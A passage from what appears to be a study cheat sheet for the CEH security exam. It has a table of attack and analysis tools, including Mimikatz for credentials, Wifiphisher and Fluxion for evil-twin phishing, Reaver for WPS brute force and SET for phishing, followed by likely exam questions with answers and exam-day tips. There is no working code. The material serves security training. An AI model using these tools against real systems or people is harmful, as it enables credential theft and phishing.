PowerViewAD reconPowerShell AD
KismetWiFi IDS
Mimikatzcreds
YersiniaL2 attacksDHCP, STP, CDP
Hping3Packet crafterCustom DoS, scan
ScapyPacket crafterPython, full control
Cuckoo / ANY.RUNSandboxMalware analysis
IDA Pro / GhidraREBinary reverse engineering
YARAPattern matchMalware classification
WifiphisherEvil twinCaptive portal phish
FluxionEvil twinHostapd-based
ReaverWPSWPS PIN brute
SET (Social Engineering Toolkit)SEPhishing campaigns

21. Exam-Day Triggers (auto-suspect → answer)

Section titled “21. Exam-Day Triggers (auto-suspect → answer)”
Question says…Think…
“What is the FIRST step in CEH methodology?”Reconnaissance (passive first)
“Which Nmap flag for stealth?”-sS (SYN, half-open)
“Default port for HTTPS?”443
“Default port for SSH?”22
“Default port for RDP?”3389
“Default port for SMB?”445
“Default port for LDAP?”389 (636 for LDAPS)
“Default port for SQL Server?”1433
“Default port for MySQL?”3306
“Default port for PostgreSQL?”5432
“Default port for Kafka?”9092
“What is the BEST defense against XSS?”Input validation + output encoding + CSP
“Defense in depth”Multiple layers; no single point
“Zero Trust”Never trust, always verify; NIST 800-207
“Least privilege”Minimum required access
“Defense against SQLi”Parameterized queries (not escaping)
“Strongest symmetric cipher”AES-256
“Hash collision attack”Birthday
“Which OSI layer for ARP?”L2
“TCP 3-way handshake”SYN → SYN-ACK → ACK
“Which phase of kill chain is most expensive to recover from?”Actions on Objectives (already exfiltrated)
“Pen-test vs red team”Pen-test = scope, find vulns. Red team = goal-based, evade detection.
“Singapore PDPA breach notify”PDPC ASAP, 72h if significant harm
“Singapore CII owner”Report to CSA within prescribed time
“What is the goal of a DoS?”Availability (the A in CIA)

  • Re-read this cheatsheet once
  • Re-read 01-exam-logistics.md § Exam Day
  • Sleep 7+ hours
  • Eat a real breakfast
  • Bring passport, confirmation email, water, snack
  • No new content; trust what you know

You’ve got this.